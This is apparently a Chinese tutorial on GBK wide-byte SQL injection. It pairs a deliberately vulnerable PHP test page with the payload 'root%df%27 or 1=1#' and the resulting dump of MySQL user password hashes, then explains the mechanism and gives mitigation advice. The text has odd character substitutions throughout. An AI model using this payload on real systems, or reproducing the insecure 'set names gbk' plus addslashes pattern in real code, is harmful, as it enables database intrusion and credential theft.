常見的編碼注入也就是寬字節注入了。
首先,咱們來了解一下關於字符集與編碼方式的一些基本概念。
計算機中儲存的信息都是用二進制數表示的;而咱們在屏幕上看到的英文、漢字等字符是二進制數轉換以後的結果。通俗的說,按照何種規則將字符存儲在計算機 中,如'a'用什麼表示,稱爲"編碼";反之,將存儲在計算機中的二進制數解析顯示出來,稱爲"解碼",如同密碼學中的加密和解密。在解碼過程當中,若是使 用了錯誤的解碼規則,則致使'a'解析成'b'或者亂碼。
字符集:是一個系統支持的全部抽象字符的集合。字符是各類文字和符號的總稱,包括各國家文字、標點符號、圖形符號、數字等。
字符編碼:是一套法則,使用該法則可以對天然語言的字符的一個集合(如字母表或音節表),與其餘東西的一個集合(如號碼或電脈衝)進行配對。即在符號集合與數字系統之間創建對應關係,它是信息處理的一項基本技術。一般人們用符號集合(通常狀況下就是文字)來表達信息。而以計算機爲基礎的信息處理系統則是利用元件(硬件)不一樣狀態的組合來存儲和處理信息的。元件不一樣狀態的組合能表明數字系統的數字,所以字符編碼就是將符號轉換爲計算機能夠接受的數字系統的數,稱爲數字代碼。
常見字符集:ASCII字符集、GB2312字符集、BIG5字符集、GB18030字符集、Unicode字符集等。計算機要準確的處理各類字符集文字,須要進行字符編碼,以便計算機可以識別和存儲各類文字。
ASCII字符集:主要包括控制字符(回車鍵、退格、換行鍵等);可顯示字符(英文大小寫字符、阿拉伯數字和西文符號)。
表示範圍:0~127
這種編碼,只適合西方人的計算機,當計算機傳遍世界的時候,就出現了雜七雜八的文字及其餘信息,可是,計算機很執着,依然仍是按照已有的習慣進行編碼存儲,解碼輸出(編碼與解碼實際上是互爲反法則)。
這樣,就產生了一個問題,你輸入的信息,如:中國,計算機按照他已有的習慣(法則)來對中國這個信息進行編碼存儲,好比,按照已有的習慣(法則),#對應00100011,計算機就把00100011轉化爲電脈衝存儲在硬件上了。而中國這個信息,按照這個法則,他找不到對應關係,怎麼辦,法則程序處理出錯,亂碼了,亂碼也要轉換爲電脈衝存儲在硬件上吧,因此,將這個亂碼的信息存儲在硬件上,當下次解碼輸出存儲在硬件上的信息的時候,仍是經過這個法則進行解碼,怎麼樣,依然是第一次法則做用後的結果:亂碼吧。
因此,要解決這個亂碼問題,咱們就只能從新設計這個法則系統了(即法則程序)。
設想,若是咱們用兩個字節來表示信息(世間萬物,其實兩個字節仍是不夠表示),豈不是能夠表示比一個字節更多的信息?
一個字節:8位,能夠表示128種狀態(考慮最高位爲符號位)
兩個字節:16位,能夠表示32768種狀態(考慮最高位爲符號位)
看到了嗎:兩個字節表示漢字其實已經足夠了,並且還能夠把用8位法則表示的那些信息通通收納。
可是,世界那麼大,文字那麼多,怎麼才能設計出一個完美的法則系統,把這些文字以及其餘信息通通收納呢?愛因斯坦尋求「天地大統一」理論,到最後都沒有成功,這個可比「天地大統一」理論簡單啊。
我若是用三字節、四字節、五字節、六字節…
那麼,你本身算算,能夠表示多少信息(雖然很浪費RAM,可是很愜意)。
到此,是否是已經完全的明白字符、字符集、字符編碼、字符解碼了。
那麼,寬字節的概念也應該明白了吧(其實,寬字節就是兩個字節,沒有你想象的那麼寬)。
接下來,講講寬字節注入的原理及過程
首先,寬字節注入與HTML頁面編碼是無關的,好比:HTML頁面編碼是:<meta charset=utf8>
不少人就以爲utf-8不是寬字節,因此,就認爲該頁面沒有寬字節注入,這是一個誤區。
咱們來看下MySQL處理編碼的流程:
MySQL Server收到請求時將請求數據從character_set_client轉換爲character_set_connection;
進行內部操做前將請求數據從character_set_connection轉換爲內部操做字符集,其肯定方法以下:
使用每一個數據字段的CHARACTER SET設定值
若上述值不存在,則使用對應數據表的DEFAULT CHARACTER SET設定值(MySQL擴展,非SQL標準)
若上述值不存在,則使用對應數據庫的DEFAULT CHARACTER SET設定值
若上述值不存在,則使用character_set_server設定值
將操做結果從內部操做字符集轉換爲character_set_results
寬字節注入發生的位置就是PHP發送請求到MYSQL時字符集使用character_set_client設置值進行了一次編碼。
寬字節注入的本質就是使用%df來吃掉%5c,使單引號閉合,達到注入的目的。
寬字節注入測試代碼以下:
kuanzijie.php 源代碼:
<!DOCTYPE html>
<!--僅用於基礎的顯示,換成utf8也行就是很差看-->
<meta charset="gbk">
<?php
error_reporting(0);
$conn = mysql_connect('127.0.0.1','root','root');
mysql_select_db('mysql',$conn);
//不安全的編碼設置方式
mysql_query("set names gbk");
//顯示當前數據庫設置的各項字符集
$res = mysql_query("show variables like 'character%';");
while($row = mysql_fetch_array($res))
{
var_dump($row);
}
//mysql_real_escape_string() magic_quotes_gpc=On addslashes() mysql_escape_string()功能相似
$user = addslashes($_GET['a']);
$sql = "SELECT host,user,password FROM user WHERE user='{$user}'";
echo $sql.'</br>';
if($res = mysql_query($sql))
{
while($row = mysql_fetch_array($res))
{
var_dump($row);
}
}
else
{
echo "Error".mysql_error()."<br/>";
}
?>
在Firefox中輸入:http://localhost:81/kuanzijie.php?a=root%df%27%20or%201=1%23
Webserver返回以下信息:
array(4) { [0]=> string(20) "character_set_client" ["Variable_name"]=> string(20) "character_set_client" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(24) "character_set_connection" ["Variable_name"]=> string(24) "character_set_connection" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(22) "character_set_database" ["Variable_name"]=> string(22) "character_set_database" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(24) "character_set_filesystem" ["Variable_name"]=> string(24) "character_set_filesystem" [1]=> string(6) "binary" ["Value"]=> string(6) "binary" } array(4) { [0]=> string(21) "character_set_results" ["Variable_name"]=> string(21) "character_set_results" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(20) "character_set_server" ["Variable_name"]=> string(20) "character_set_server" [1]=> string(3) "gbk" ["Value"]=> string(3) "gbk" } array(4) { [0]=> string(20) "character_set_system" ["Variable_name"]=> string(20) "character_set_system" [1]=> string(4) "utf8" ["Value"]=> string(4) "utf8" } array(4) { [0]=> string(18) "character_sets_dir" ["Variable_name"]=> string(18) "character_sets_dir" [1]=> string(33) "C:\phpStudy\MySQL\share\charsets\" ["Value"]=> string(33) "C:\phpStudy\MySQL\share\charsets\" } SELECT host,user,password FROM user WHERE user='root運' or 1=1#'
array(6) { [0]=> string(9) "localhost" ["host"]=> string(9) "localhost" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" } array(6) { [0]=> string(9) "127.0.0.1" ["host"]=> string(9) "127.0.0.1" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" }
看到了嗎:
SELECT host,user,password FROM user WHERE user='root運' or 1=1#'
就是這句話實現了寬字節注入。
注入結果是:
"localhost" ["host"]=> string(9) "localhost" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" } array(6) { [0]=> string(9) "127.0.0.1" ["host"]=> string(9) "127.0.0.1" [1]=> string(4) "root" ["user"]=> string(4) "root" [2]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B" ["password"]=> string(41) "*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B"
在MySQL控制檯執行上面的SQL語句,效果也是同樣的,如圖:php
此時,咱們不由疑問,\是怎麼被%df吃掉的呢?
答案以下:
GBK編碼,它的編碼範圍是0x8140~0xFEFE(不包括xx7F),在遇到%df(ascii(223)) >ascii(128)時自動拼接%5c,所以吃掉‘\’,而%2七、%20小於ascii(128)的字符就保留了。
GB2312是被GBK兼容的,它的高位範圍是0xA1~0xF7,低位範圍是0xA1~0xFE(0x5C不在該範圍內),所以不能使用編碼吃掉%5c。
其它的寬字符集也是同樣的分析過程,要吃掉%5c,只須要低位中包含正常的0x5c就好了。
安全建議:
使用mysql_set_charset(‘gbk’)來設置咱們MySQL的編碼,而後使用mysql_real_escape_string函數來實現參數過濾,這樣的搭配設置基本上就能夠解決寬字節注入的狀況了。html